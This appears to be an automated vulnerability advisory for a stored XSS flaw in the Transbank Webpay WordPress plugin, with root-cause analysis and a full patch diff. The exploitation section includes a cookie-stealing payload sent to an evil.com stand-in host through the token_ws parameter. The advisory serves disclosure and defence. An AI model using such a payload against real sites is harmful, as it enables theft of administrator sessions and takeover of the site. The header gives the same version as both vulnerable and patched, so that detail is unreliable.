Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 25, 2026

CVE-2026-6858: Transbank Webpay < 1.14.0 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-6858
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.14.0
Patched Version 1.14.0
Disclosed June 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6858:

Atomic Edge research identifies an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Transbank Webpay plugin for WordPress, versions up to 1.14.0. The vulnerability resides in the log viewing functionality within the admin area and directly in the payment processing controllers. Unauthenticated attackers can inject arbitrary web scripts via crafted HTTP requests to the payment callback endpoints, which are then reflected to administrators viewing log files or stored in transaction records and executed when administrators access the logs page or transaction details. The CVSS score is 7.2, reflecting the ease of exploitation and the high likelihood of administrator interaction with the malicious data.

The root cause is insufficient input sanitization and output escaping in multiple files. Specifically, the CommitWebpayController.php and FinishOneclickController.php pass raw request data (from $_POST or $_GET) directly into the logger via calls like `$this->log->logInfo(“Request payload”, $request)`. The vulnerable code at line 58 of CommitWebpayController.php logs the entire untrusted request array without sanitization. An attacker can supply a payload such as `alert(document.cookie)` in any request parameter (token_ws, TBK_TOKEN, etc.) that reaches these controllers. The log files are stored in `/wp-content/uploads/transbank/logs/` and viewed through the admin interface at `/wp-admin/options-general.php?page=transbank_webpay_plus_rest&tbk_tab=logs`. The template file `templates/admin/log.php` at lines 107-113 previously echoed log content directly without escaping, allowing stored XSS when an administrator views the logs.

Exploitation requires no authentication. An attacker sends a crafted POST or GET request to any endpoint that triggers the CommitWebpayController or FinishOneclickController. For example, the attacker might call the storefront Webpay return URL (e.g., `/index.php?wc-api=transbank_webpay_plus_rest_commit`) with a malicious payload in the `token_ws` parameter: `token_ws=fetch(‘https://evil.com/steal?c=’+document.cookie)`. The controller logs this payload. The admin user then visits the plugin’s log page, where the script executes. Alternatively, the attacker could directly POST to `/wp-admin/admin-ajax.php?action=handle_payment_response` if the plugin uses AJAX handlers. The vulnerability is stored XSS because the payload persists in the log file on disk until the log is rotated.

The patch introduces several defensive layers. First, the new class `RequestInputHelper.php` implements `sanitizeExpectedFields()` using WordPress’s `sanitize_text_field()` on all expected parameters. Second, the `PluginLogger::sanitizeContextForLogs()` method recursively sanitizes all values passed to the logger, applying `sanitize_text_field()` and `wp_strip_all_tags()` to any string values. Third, `assertValidIdentifier()` validates that parameters like token_ws match a strict alphanumeric pattern `/^[A-Za-z0-9:_-]+$/` and rejects input longer than 255 characters. In the template file `templates/admin/log.php`, all output now uses `esc_html()`, `esc_attr()`, and `esc_url()` to prevent any HTML injection when displaying log files. The patch removes the direct `echo` of concatenated HTML strings and replaces it with proper PHP template blocks.

The impact of successful exploitation is severe. An attacker can execute arbitrary JavaScript in the context of a WordPress administrator’s browser session. This can lead to privilege escalation (creating new admin users), theft of session cookies, exfiltration of WooCommerce order data and customer PII, injection of rogue payment gateways, or complete site takeover. Since the attacker does not need any authentication, the attack surface is broad and the barrier to exploitation is very low.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/transbank-webpay-plus-rest/load-autoloader.php
+++ b/transbank-webpay-plus-rest/load-autoloader.php
@@ -10,11 +10,6 @@
         return;
     }

-    $runtimePrefixes = tbkLoadScopedRuntimePrefixes($pluginRoot);
-    if ($runtimePrefixes !== []) {
-        tbkRegisterScopedAutoloader($pluginRoot . 'vendor-prefixed/', $runtimePrefixes);
-    }
-
     $scoperAutoload = $pluginRoot . 'vendor-prefixed/scoper-autoload.php';
     if (file_exists($scoperAutoload)) {
         require_once $scoperAutoload;
@@ -22,36 +17,3 @@

     require_once $prefixedAutoload;
 }
-
-function tbkLoadScopedRuntimePrefixes(string $pluginRoot): array
-{
-    $scopeConfigPath = $pluginRoot . 'scoper-namespaces.php';
-    if (!file_exists($scopeConfigPath)) {
-        return [];
-    }
-
-    $scopeConfig = require_once $scopeConfigPath;
-    $runtimePrefixes = $scopeConfig['runtime_psr4'] ?? [];
-
-    return is_array($runtimePrefixes) ? $runtimePrefixes : [];
-}
-
-function tbkRegisterScopedAutoloader(string $prefixedRoot, array $runtimePrefixes): void
-{
-    spl_autoload_register(static function ($class) use ($prefixedRoot, $runtimePrefixes) {
-        foreach ($runtimePrefixes as $prefix => $relativeBaseDir) {
-            if (strncmp($class, $prefix, strlen($prefix)) !== 0) {
-                continue;
-            }
-
-            $relativeClass = substr($class, strlen($prefix));
-            $file = $prefixedRoot . $relativeBaseDir . str_replace('\', '/', $relativeClass) . '.php';
-
-            if (file_exists($file)) {
-                require_once $file;
-            }
-
-            return;
-        }
-    }, true, true);
-}
--- a/transbank-webpay-plus-rest/shared/Helpers/PluginLogger.php
+++ b/transbank-webpay-plus-rest/shared/Helpers/PluginLogger.php
@@ -10,8 +10,8 @@

 final class PluginLogger
 {
-
     const CACHE_LOG_NAME = 'transbank_log_file_name';
+    private const MAX_LOG_DEPTH = 10;

     private $logger;
     private $config;
@@ -92,6 +92,38 @@
         $this->logger->error($msg, $context);
     }

+    public static function sanitizeContextForLogs(array $context): array
+    {
+        $sanitizedContext = [];
+
+        foreach ($context as $key => $value) {
+            $sanitizedContext[$key] = self::sanitizeLogValue($value);
+        }
+
+        return $sanitizedContext;
+    }
+
+    private static function sanitizeLogValue(mixed $value, int $depth = 0): mixed
+    {
+        if ($depth > self::MAX_LOG_DEPTH) {
+            return '[array too deep]';
+        }
+
+        $sanitizedValue = null;
+
+        if (is_array($value)) {
+            $sanitizedValue = array_map(function ($nestedValue) use ($depth) {
+                return self::sanitizeLogValue($nestedValue, $depth + 1);
+            }, $value);
+        } elseif (is_null($value) || is_bool($value) || is_int($value) || is_float($value)) {
+            $sanitizedValue = $value;
+        } else {
+            $sanitizedValue = sanitize_text_field(wp_strip_all_tags((string) $value));
+        }
+
+        return $sanitizedValue;
+    }
+
     public function getInfo()
     {
         $files = glob($this->config->getLogDir() . '/*.log');
--- a/transbank-webpay-plus-rest/src/Controllers/CommitWebpayController.php
+++ b/transbank-webpay-plus-rest/src/Controllers/CommitWebpayController.php
@@ -4,6 +4,7 @@

 use TransbankWooCommerceWebpayRestServicesWebpayService;
 use TransbankPluginHelpersPluginLogger;
+use TransbankWooCommerceWebpayRestHelpersRequestInputHelper;
 use TransbankPluginHelpersTbkConstants;
 use TransbankPluginExceptionsEcommerceException;
 use TransbankVendorTransbankWebpayWebpayPlusResponsesTransactionCommitResponse;
@@ -55,12 +56,25 @@
     public function process(): void
     {
         try {
-            $requestMethod = $_SERVER['REQUEST_METHOD'];
-            $request = $requestMethod === 'POST' ? $_POST : $_GET;
+            $requestMethod = RequestInputHelper::resolveRequestMethod($_SERVER);
+            $rawRequest = $requestMethod === 'POST' ? $_POST : $_GET;
+            $request = RequestInputHelper::sanitizeExpectedFields($rawRequest, [
+                'token_ws',
+                'TBK_TOKEN',
+                'TBK_ID_SESION',
+                'TBK_ORDEN_COMPRA',
+            ]);
+            $webpayFlow = $this->getWebpayFlow($request);
             $this->log->logInfo('Procesando retorno desde formulario de Webpay.');
-            $this->log->logInfo("Request method: {$requestMethod}");
-            $this->log->logInfo("Request payload", $request);
-            $this->handleFormReturn($request);
+            $this->log->logInfo('Resumen de retorno de Webpay', PluginLogger::sanitizeContextForLogs([
+                'method' => $requestMethod,
+                'flow' => $webpayFlow,
+                'token_ws' => $request['token_ws'] ?? null,
+                'TBK_TOKEN' => $request['TBK_TOKEN'] ?? null,
+                'TBK_ID_SESION' => $request['TBK_ID_SESION'] ?? null,
+                'TBK_ORDEN_COMPRA' => $request['TBK_ORDEN_COMPRA'] ?? null,
+            ]));
+            $this->handleFormReturn($request, $webpayFlow);
         } catch (Exception | Error $e) {
             $this->log->logError('Error en el proceso de validación de pago', ['error' => $e->getMessage()]);
             $this->setPaymentErrorPage(self::WEBPAY_EXCEPTION_FLOW_MESSAGE);
@@ -75,23 +89,27 @@
      * @throws EcommerceException If the payment flow is not recognized.
      * @return void
      */
-    protected function handleFormReturn(array $request): void
+    protected function handleFormReturn(array $request, ?string $webpayFlow = null): void
     {
-        $webpayFlow = $this->getWebpayFlow($request);
+        $webpayFlow = $webpayFlow ?? $this->getWebpayFlow($request);

         if ($webpayFlow == self::WEBPAY_NORMAL_FLOW) {
+            RequestInputHelper::assertValidIdentifier($request['token_ws'], 'token_ws');
             $this->handleNormalFlow($request['token_ws']);
         }

         if ($webpayFlow == self::WEBPAY_TIMEOUT_FLOW) {
+            RequestInputHelper::assertValidIdentifier($request['TBK_ORDEN_COMPRA'], 'TBK_ORDEN_COMPRA');
             $this->handleFlowTimeout($request['TBK_ORDEN_COMPRA']);
         }

         if ($webpayFlow == self::WEBPAY_ABORTED_FLOW) {
+            RequestInputHelper::assertValidIdentifier($request['TBK_TOKEN'], 'TBK_TOKEN');
             $this->handleFlowAborted($request['TBK_TOKEN']);
         }

         if ($webpayFlow == self::WEBPAY_ERROR_FLOW) {
+            RequestInputHelper::assertValidIdentifier($request['token_ws'], 'token_ws');
             $this->handleFlowError($request['token_ws']);
         }

@@ -113,19 +131,31 @@
         $tbkIdSession = $request['TBK_ID_SESION'] ?? null;
         $webpayFlow = self::WEBPAY_INVALID_FLOW;

-        if (isset($tokenWs) && isset($tbkToken)) {
+        if (RequestInputHelper::hasValue($tokenWs) && RequestInputHelper::hasValue($tbkToken)) {
             return self::WEBPAY_ERROR_FLOW;
         }

-        if (isset($tbkIdSession) && isset($tbkToken) && !isset($tokenWs)) {
+        if (
+            RequestInputHelper::hasValue($tbkIdSession)
+            && RequestInputHelper::hasValue($tbkToken)
+            && !RequestInputHelper::hasValue($tokenWs)
+        ) {
             $webpayFlow = self::WEBPAY_ABORTED_FLOW;
         }

-        if (isset($tbkIdSession) && !isset($tbkToken) && !isset($tokenWs)) {
+        if (
+            RequestInputHelper::hasValue($tbkIdSession)
+            && !RequestInputHelper::hasValue($tbkToken)
+            && !RequestInputHelper::hasValue($tokenWs)
+        ) {
             $webpayFlow = self::WEBPAY_TIMEOUT_FLOW;
         }

-        if (isset($tokenWs) && !isset($tbkToken) && !isset($tbkIdSession)) {
+        if (
+            RequestInputHelper::hasValue($tokenWs)
+            && !RequestInputHelper::hasValue($tbkToken)
+            && !RequestInputHelper::hasValue($tbkIdSession)
+        ) {
             $webpayFlow = self::WEBPAY_NORMAL_FLOW;
         }

@@ -140,7 +170,10 @@
      */
     protected function handleNormalFlow(string $token): void
     {
-        $this->log->logInfo("Procesando transacción por flujo Normal", ['token' => $token]);
+        $this->log->logInfo(
+            "Procesando transacción por flujo Normal",
+            PluginLogger::sanitizeContextForLogs(['token' => $token])
+        );

         if ($this->transactionService->checkIsAlreadyProcessed($token)) {
             $this->handleTransactionAlreadyProcessed($token);
@@ -148,9 +181,25 @@
         }

         $webpayTransaction = $this->transactionService->findFirstByToken($token);
+
+        if (!$webpayTransaction) {
+            $message = "No se encontró la transacción para el token proporcionado.";
+            $this->log->logError(
+                $message,
+                PluginLogger::sanitizeContextForLogs(['token' => $token])
+            );
+            throw new EcommerceException($message);
+        }
+
         $wooCommerceOrder = $this->ecommerceService->getOrderById($webpayTransaction->order_id);
         $commitResponse = $this->webpayService->commitTransaction($token);

+        if ($commitResponse->getStatus() === null || $commitResponse->getResponseCode() === null) {
+            $message = "La respuesta de confirmación de Transbank es inválida.";
+            $this->log->logError($message, PluginLogger::sanitizeContextForLogs(['token' => $token]));
+            throw new EcommerceException($message);
+        }
+
         if ($commitResponse->isApproved()) {
             $this->handleAuthorizedTransaction(
                 $wooCommerceOrder,
@@ -170,7 +219,7 @@
      */
     protected function handleFlowTimeout(string $buyOrder): void
     {
-        $this->log->logInfo("Procesando transacción por flujo timeout", ['buyOrder' => $buyOrder]);
+        $this->log->logInfo("Procesando transacción por flujo timeout");

         $webpayTransaction = $this->transactionService->getByBuyOrder($buyOrder);

@@ -195,9 +244,17 @@
      */
     protected function handleFlowAborted(string $token): void
     {
-        $this->log->logInfo("Procesando transacción por flujo de pago abortado", ['token' => $token]);
+        $this->log->logInfo(
+            "Procesando transacción por flujo de pago abortado",
+            PluginLogger::sanitizeContextForLogs(['token' => $token])
+        );

         $webpayTransaction = $this->transactionService->findFirstByToken($token);
+        if (!$webpayTransaction) {
+            $message = 'No se encontró la transacción abortada para el token proporcionado.';
+            $this->log->logError($message, PluginLogger::sanitizeContextForLogs(['token' => $token]));
+            throw new EcommerceException($message);
+        }

         if ($this->checkTransactionIsAlreadyProcessedByStatus($webpayTransaction->status)) {
             $this->handleTransactionAlreadyProcessed($token);
@@ -222,10 +279,15 @@
     {
         $this->log->logInfo(
             "Procesando transacción por flujo de error en formulario de pago",
-            ['token' => $token]
+            PluginLogger::sanitizeContextForLogs(['token' => $token])
         );

         $webpayTransaction = $this->transactionService->findFirstByToken($token);
+        if (!$webpayTransaction) {
+            $message = 'No se encontró la transacción con error para el token proporcionado.';
+            $this->log->logError($message, PluginLogger::sanitizeContextForLogs(['token' => $token]));
+            throw new EcommerceException($message);
+        }

         if ($this->transactionService->checkIsAlreadyProcessed($token)) {
             $this->handleTransactionAlreadyProcessed($token);
@@ -256,10 +318,10 @@
         $commitResponse
     ): void {
         $token = $webpayTransaction->token;
-        $this->log->logInfo("Transacción autorizada por Transbank", [
+        $this->log->logInfo("Transacción autorizada por Transbank", PluginLogger::sanitizeContextForLogs([
+            'buyOrder' => $commitResponse->getBuyOrder(),
             'token' => $token,
-            'buyOrder' => $commitResponse->getBuyOrder()
-        ]);
+        ]));

         $this->transactionService->update(
             $webpayTransaction->id,
@@ -291,8 +353,10 @@
         $webpayTransaction,
         TransactionCommitResponse $commitResponse
     ): void {
-        $token = $webpayTransaction->token;
-        $this->log->logInfo("Transacción rechazada por Transbank", ['token' => $token, 'status' => $commitResponse->getStatus()]);
+        $this->log->logInfo("Transacción rechazada por Transbank", PluginLogger::sanitizeContextForLogs([
+            'status' => $commitResponse->getStatus(),
+            'token' => $webpayTransaction->token,
+        ]));
         $wooCommerceOrder = $this->ecommerceService->getOrderById($webpayTransaction->order_id);
         $this->ecommerceService->setWebpayOrderAsFailed($wooCommerceOrder, $webpayTransaction, $commitResponse);

@@ -315,9 +379,15 @@
      */
     protected function handleTransactionAlreadyProcessed(string $token): void
     {
-        $this->log->logInfo("Transacción ya se encontraba procesada", ['token' => $token]);
+        $this->log->logInfo(
+            "Transacción ya se encontraba procesada",
+            PluginLogger::sanitizeContextForLogs(['token' => $token])
+        );

         $webpayTransaction = $this->transactionService->findFirstByToken($token);
+        if (!$webpayTransaction) {
+            throw new EcommerceException('No se encontró la transacción previamente procesada para el token proporcionado.');
+        }
         $status = $webpayTransaction->status;
         $errorCode = self::WEBPAY_EXCEPTION_FLOW_MESSAGE;

@@ -364,7 +434,7 @@
     ): void {
         $this->log->logInfo(
             "Error al procesar transacción por Transbank",
-            ['Token' => $webpayTransaction->token]
+            PluginLogger::sanitizeContextForLogs(['token' => $webpayTransaction->token])
         );

         $data = [
--- a/transbank-webpay-plus-rest/src/Controllers/FinishOneclickController.php
+++ b/transbank-webpay-plus-rest/src/Controllers/FinishOneclickController.php
@@ -5,6 +5,7 @@
 use Exception;
 use Throwable;
 use TransbankPluginHelpersTbkConstants;
+use TransbankWooCommerceWebpayRestHelpersRequestInputHelper;
 use TransbankWooCommerceWebpayRestHelpersTbkFactory;
 use TransbankWooCommerceWebpayRestHelpersBlocksHelper;
 use TransbankWooCommerceWebpayRestServicesInscriptionService;
@@ -43,17 +44,31 @@
     {
         try {
             $this->log->logInfo('Procesando retorno desde formulario Oneclick');
-            $method = $_SERVER['REQUEST_METHOD'];
-            $data = $method === 'GET' ? $_GET : $_POST;
+            $method = RequestInputHelper::resolveRequestMethod($_SERVER);
+            $rawData = $method === 'GET' ? $_GET : $_POST;
+            $data = RequestInputHelper::sanitizeExpectedFields($rawData, [
+                'TBK_TOKEN',
+                'TBK_ID_SESION',
+                'TBK_ORDEN_COMPRA',
+            ]);
             $oneclickFlow = $this->getOneclickFlow($data);
+            $this->log->logInfo('Resumen de retorno de Oneclick', PluginLogger::sanitizeContextForLogs([
+                'method' => $method,
+                'flow' => $oneclickFlow,
+                'TBK_TOKEN' => $data['TBK_TOKEN'] ?? null,
+                'TBK_ID_SESION' => $data['TBK_ID_SESION'] ?? null,
+                'TBK_ORDEN_COMPRA' => $data['TBK_ORDEN_COMPRA'] ?? null,
+            ]));
             $this->log->logInfo('Flujo de inscripción Oneclick:', [
                 'flow' => $oneclickFlow
             ]);

             if ($oneclickFlow === self::ONECLICK_ABORTED_FLOW) {
+                RequestInputHelper::assertValidIdentifier($data['TBK_TOKEN'], 'TBK_TOKEN');
                 $this->handleAbortedFlow($data['TBK_TOKEN']);
             }
             if ($oneclickFlow === self::ONECLICK_NORMAL_FLOW) {
+                RequestInputHelper::assertValidIdentifier($data['TBK_TOKEN'], 'TBK_TOKEN');
                 $this->handleNormalFlow($data['TBK_TOKEN']);
             }
             if ($oneclickFlow === self::ONECLICK_ERROR_FLOW) {
@@ -75,15 +90,9 @@
      */
     protected function getOneclickFlow(array $requestData): string
     {
-        $token = isset($requestData["TBK_TOKEN"]);
-        $tbkSessionId = isset($requestData['TBK_ID_SESION']);
-        $tbkOrdenCompra = isset($requestData['TBK_ORDEN_COMPRA']);
-
-        $this->log->logInfo('Datos recibidos desde formulario Oneclick', [
-            'token' => $token ? $requestData["TBK_TOKEN"] : null,
-            'tbkSessionId' => $tbkSessionId ? $requestData['TBK_ID_SESION'] : null,
-            'tbkOrdenCompra' => $tbkOrdenCompra ? $requestData['TBK_ORDEN_COMPRA'] : null,
-        ]);
+        $token = RequestInputHelper::hasValue($requestData["TBK_TOKEN"] ?? null);
+        $tbkSessionId = RequestInputHelper::hasValue($requestData['TBK_ID_SESION'] ?? null);
+        $tbkOrdenCompra = RequestInputHelper::hasValue($requestData['TBK_ORDEN_COMPRA'] ?? null);

         if ($token && !$tbkSessionId && !$tbkOrdenCompra) {
             return self::ONECLICK_NORMAL_FLOW;
@@ -103,10 +112,14 @@
      */
     protected function handleAbortedFlow(string $token): void
     {
-        $this->log->logInfo('Inscripcion abortada por el usuario desde el formulario Oneclick', [
-            'token' => $token
-        ]);
+        $this->log->logInfo(
+            'Inscripcion abortada por el usuario desde el formulario Oneclick',
+            PluginLogger::sanitizeContextForLogs(['token' => $token])
+        );
         $ins = $this->inscriptionService->findByToken($token);
+        if (!$ins) {
+            throw new EcommerceException('No se encontró la inscripción para el token proporcionado.');
+        }
         BlocksHelper::addLegacyNotices('Inscripción abortada desde el formulario. Puedes reintentar la inscripción. ', 'warning');
         $this->inscriptionService->update($ins->id, [
             'status' => TbkConstants::INSCRIPTIONS_STATUS_FAILED
@@ -125,13 +138,18 @@
      */
     private function handleNormalFlow(string $token)
     {
+        $ins = null;
+
         try {
             $ins = $this->inscriptionService->getByToken($token);
-            $this->log->logInfo('Finalizando inscripción', [
-                'token' => $token,
+            if (!$ins) {
+                throw new EcommerceException('No se encontró la inscripción para el token proporcionado.');
+            }
+            $this->log->logInfo('Finalizando inscripción', PluginLogger::sanitizeContextForLogs([
                 'userName' => $ins->username,
-                'email' => $ins->email
-            ]);
+                'email' => $ins->email,
+                'token' => $token,
+            ]));
             $resp = $this->oneclickInscriptionService->finishInscription(
                 $token
             );
@@ -167,15 +185,22 @@
             $this->log->logInfo('Inscripción finalizada correctamente', ['user' => $ins->user_id]);
             $this->redirectUser($from, BlocksHelper::ONECLICK_SUCCESSFULL_INSCRIPTION);
         } catch (Exception $e) {
-            $this->log->logError('Error al confirmar la inscripción', [
+            $errorContext = [
                 'token' => $token,
-                'userName' => $ins->username,
-                'email' => $ins->email,
                 'error' => $e->getMessage(),
-            ]);
+            ];
+
+            if ($ins) {
+                $errorContext['userName'] = $ins->username;
+                $errorContext['email'] = $ins->email;
+            }
+
+            $this->log->logError('Error al confirmar la inscripción', PluginLogger::sanitizeContextForLogs($errorContext));
             BlocksHelper::addLegacyNotices($e->getMessage(), 'error');
-            $this->inscriptionService->updateWithFinishResponseError($ins->id, 'error', $e->getMessage());
-            $this->redirectUser($ins->from, BlocksHelper::ONECLICK_FINISH_ERROR);
+            if ($ins) {
+                $this->inscriptionService->updateWithFinishResponseError($ins->id, 'error', $e->getMessage());
+            }
+            $this->redirectUser($ins ? $ins->from : null, BlocksHelper::ONECLICK_FINISH_ERROR);
         }
     }

--- a/transbank-webpay-plus-rest/src/Helpers/RequestInputHelper.php
+++ b/transbank-webpay-plus-rest/src/Helpers/RequestInputHelper.php
@@ -0,0 +1,49 @@
+<?php
+
+namespace TransbankWooCommerceWebpayRestHelpers;
+
+use TransbankPluginExceptionsEcommerceException;
+
+final class RequestInputHelper
+{
+    private const IDENTIFIER_PATTERN = '/^[A-Za-z0-9:_-]+$/';
+    private const MAX_IDENTIFIER_LENGTH = 255;
+
+    public static function resolveRequestMethod(array $server): string
+    {
+        $requestMethod = sanitize_text_field($server['REQUEST_METHOD'] ?? '');
+
+        if ($requestMethod === '') {
+            return 'GET';
+        }
+
+        return $requestMethod;
+    }
+
+    public static function sanitizeExpectedFields(array $request, array $fields): array
+    {
+        $sanitized = [];
+
+        foreach ($fields as $field) {
+            $sanitized[$field] = sanitize_text_field((string) ($request[$field] ?? ''));
+        }
+
+        return $sanitized;
+    }
+
+    public static function hasValue(?string $value): bool
+    {
+        return is_string($value) && trim($value) !== '';
+    }
+
+    public static function assertValidIdentifier(?string $value, string $fieldName): void
+    {
+        if (!self::hasValue($value)) {
+            throw new EcommerceException("Parámetro inválido recibido: {$fieldName}");
+        }
+
+        if (strlen($value) > self::MAX_IDENTIFIER_LENGTH || !preg_match(self::IDENTIFIER_PATTERN, $value)) {
+            throw new EcommerceException("Formato inválido recibido para: {$fieldName}");
+        }
+    }
+}
--- a/transbank-webpay-plus-rest/templates/admin/log.php
+++ b/transbank-webpay-plus-rest/templates/admin/log.php
@@ -5,20 +5,21 @@
 $logDirectoryTitle = "Carpeta en el servidor en donde se guardan los archivos" .
     " con la información de cada compra mediante Webpay";
 $lineCountTitle = "Cantidad de líneas que posee el último archivo de registro creado";
+$selectedFilename = isset($lastLog['filename']) ? basename((string) $lastLog['filename']) : '';
 ?>

 <div class="tbk-box" id="logs-container">
     <h3 class="tbk_title_h3">Información de Registros</h3>
     <div class="tbk-plugin-info-container">
         <div class="info-column">
-            <div title="<?= $logDirectoryTitle ?>" class="label label-info">?</div>
+            <div title="<?= esc_attr($logDirectoryTitle) ?>" class="label label-info">?</div>
         </div>
         <div class="info-column">
             <span class="highlight-text"> Directorio de registros: </span>
         </div>
         <div class="info-column">
             <span class="label">
-                <?= $resume['dir'] ?>
+                <?= esc_html((string) ($resume['dir'] ?? '-')) ?>
             </span>
         </div>
     </div>
@@ -35,24 +36,22 @@
                 <input type="hidden" name="page" value="transbank_webpay_plus_rest">
                 <input type="hidden" name="tbk_tab" value="logs">

-                <select class="select label" name="log_file" id="log_file" <?= !$folderHasLogs ? "disabled" : '' ?>>
+                <select class="select label" name="log_file" id="log_file" <?= !$folderHasLogs ? 'disabled' : '' ?>>
                     <?php
-                    $options = '';
-
                     if (!$folderHasLogs) {
-                        $options = "<option value='' selected>No hay archivos log</option>";
+                        ?>
+                        <option value="" selected>No hay archivos log</option>
+                        <?php
                     }
-
-                    foreach ($resume['logs'] as $index) {
-                        if($index['filename'] == basename($lastLog['filename'])) {
-                            $options .= "<option value='{$index['filename']}' selected>{$index['filename']}</option>";
-                            continue;
-                        }

-                        $options .= "<option value='{$index['filename']}'>{$index['filename']}</option>";
+                    foreach ($resume['logs'] as $index) {
+                        $filename = (string) ($index['filename'] ?? '');
+                        ?>
+                        <option value="<?= esc_attr($filename) ?>" <?= selected($filename, $selectedFilename, false) ?>>
+                            <?= esc_html($filename) ?>
+                        </option>
+                        <?php
                     }
-
-                    echo $options;
                     ?>
                 </select>
                 <input type="submit" class="button button-primary tbk-button-primary"
@@ -75,20 +74,20 @@
             </div>
             <div class="info-column-plugin">
                 <span class="label">
-                    <?= $lastLog['size'] ?? '-'; ?>
+                    <?= esc_html((string) ($lastLog['size'] ?? '-')) ?>
                 </span>
             </div>
         </div>
         <div class="tbk-plugin-info-container">
             <div class="info-column">
-                <div title="<?= $lineCountTitle ?>" class="label label-info">?</div>
+                <div title="<?= esc_attr($lineCountTitle) ?>" class="label label-info">?</div>
             </div>
             <div class="info-column-plugin">
                 <span class="highlight-text"> Cantidad de Líneas: </span>
             </div>
             <div class="info-column-plugin">
                 <span class="label">
-                    <?= $lastLog['lines'] ?? '-'; ?>
+                    <?= esc_html((string) ($lastLog['lines'] ?? '-')) ?>
                 </span>
             </div>
         </div>
@@ -96,25 +95,27 @@

     <?php
     if (isset($lastLog['content'])) {
-        $logContent = '<div class="log-container">';
-
+        ?>
+        <div class="log-container">
+        <?php
         $logLines = explode("n", $lastLog['content']);

         foreach ($logLines as $line) {
             $chunks = explode(' > ', $line);

-            $date = $chunks[0];
+            $date = $chunks[0] ?? null;
             $level = $chunks[1] ?? null;
             $message = $chunks[2] ?? null;

             if (!is_null($date) && !is_null($level) && !is_null($message)) {
-                $logContent .= '<pre class="log-line">' . $date . ' > ' .
-                    '<span class="log-' . strtolower($level) . '">' . $level . '</span> > ' . $message .
-                    '</pre>';
+                ?>
+                <pre class="log-line"><?= esc_html($date) ?> > <span class="<?= esc_attr('log-' . strtolower($level)) ?>"><?= esc_html($level) ?></span> > <?= esc_html($message) ?></pre>
+                <?php
             }
         }
-        $logContent .= '</div>';
-        echo $logContent;
+        ?>
+        </div>
+        <?php
     }
     ?>
 </div>
--- a/transbank-webpay-plus-rest/vendor-prefixed/composer/autoload_psr4.php
+++ b/transbank-webpay-plus-rest/vendor-prefixed/composer/autoload_psr4.php
@@ -5,4 +5,4 @@
 // autoload_psr4.php @generated by Composer
 $vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);
-return array('TransbankWooCommerceWebpayRest\' => array($baseDir . '/src'), 'TransbankPlugin\' => array($baseDir . '/shared'), 'TransbankVendor\Transbank\' => array($vendorDir . '/transbank/transbank-sdk/src'), 'PsrLog\' => array($vendorDir . '/psr/log/src'), 'PsrHttpMessage\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), 'PsrHttpClient\' => array($vendorDir . '/psr/http-client/src'), 'TransbankVendor\Monolog\' => array($vendorDir . '/monolog/monolog/src/Monolog'), 'GuzzleHttpPsr7\' => array($vendorDir . '/guzzlehttp/psr7/src'), 'GuzzleHttpPromise\' => array($vendorDir . '/guzzlehttp/promises/src'), 'TransbankVendor\GuzzleHttp\' => array($vendorDir . '/guzzlehttp/guzzle/src'));
+return array('TransbankWooCommerceWebpayRest\' => array($baseDir . '/src'), 'TransbankPlugin\' => array($baseDir . '/shared'), 'TransbankVendor\Transbank\' => array($vendorDir . '/transbank/transbank-sdk/src'), 'TransbankVendorPsrLog\' => array($vendorDir . '/psr/log/src'), 'TransbankVendorPsrHttpMessage\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), 'TransbankVendorPsrHttpClient\' => array($vendorDir . '/psr/http-client/src'), 'TransbankVendor\Monolog\' => array($vendorDir . '/monolog/monolog/src/Monolog'), 'TransbankVendorGuzzleHttpPsr7\' => array($vendorDir . '/guzzlehttp/psr7/src'), 'TransbankVendorGuzzleHttpPromise\' => array($vendorDir . '/guzzlehttp/promises/src'), 'TransbankVendor\GuzzleHttp\' => array($vendorDir . '/guzzlehttp/guzzle/src'));
--- a/transbank-webpay-plus-rest/vendor-prefixed/composer/autoload_static.php
+++ b/transbank-webpay-plus-rest/vendor-prefixed/composer/autoload_static.php
@@ -6,8 +6,8 @@
 class ComposerStaticInitf6e1557513b25646ab1b95c528dcf2b9
 {
     public static $files = array('7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php', '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php');
-    public static $prefixLengthsPsr4 = array('T' => array('TransbankWooCommerceWebpayRest\' => 33, 'TransbankPlugin\' => 17, 'TransbankVendor\Transbank\' => 10), 'P' => array('PsrLog\' => 8, 'PsrHttpMessage\' => 17, 'PsrHttpClient\' => 16), 'M' => array('TransbankVendor\Monolog\' => 8), 'G' => array('GuzzleHttpPsr7\' => 16, 'GuzzleHttpPromise\' => 19, 'TransbankVendor\GuzzleHttp\' => 11));
-    public static $prefixDirsPsr4 = array('TransbankWooCommerceWebpayRest\' => array(0 => __DIR__ . '/../..' . '/src'), 'TransbankPlugin\' => array(0 => __DIR__ . '/../..' . '/shared'), 'TransbankVendor\Transbank\' => array(0 => __DIR__ . '/..' . '/transbank/transbank-sdk/src'), 'PsrLog\' => array(0 => __DIR__ . '/..' . '/psr/log/src'), 'PsrHttpMessage\' => array(0 => __DIR__ . '/..' . '/psr/http-factory/src', 1 => __DIR__ . '/..' . '/psr/http-message/src'), 'PsrHttpClient\' => array(0 => __DIR__ . '/..' . '/psr/http-client/src'), 'TransbankVendor\Monolog\' => array(0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog'), 'GuzzleHttpPsr7\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src'), 'GuzzleHttpPromise\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/promises/src'), 'TransbankVendor\GuzzleHttp\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src'));
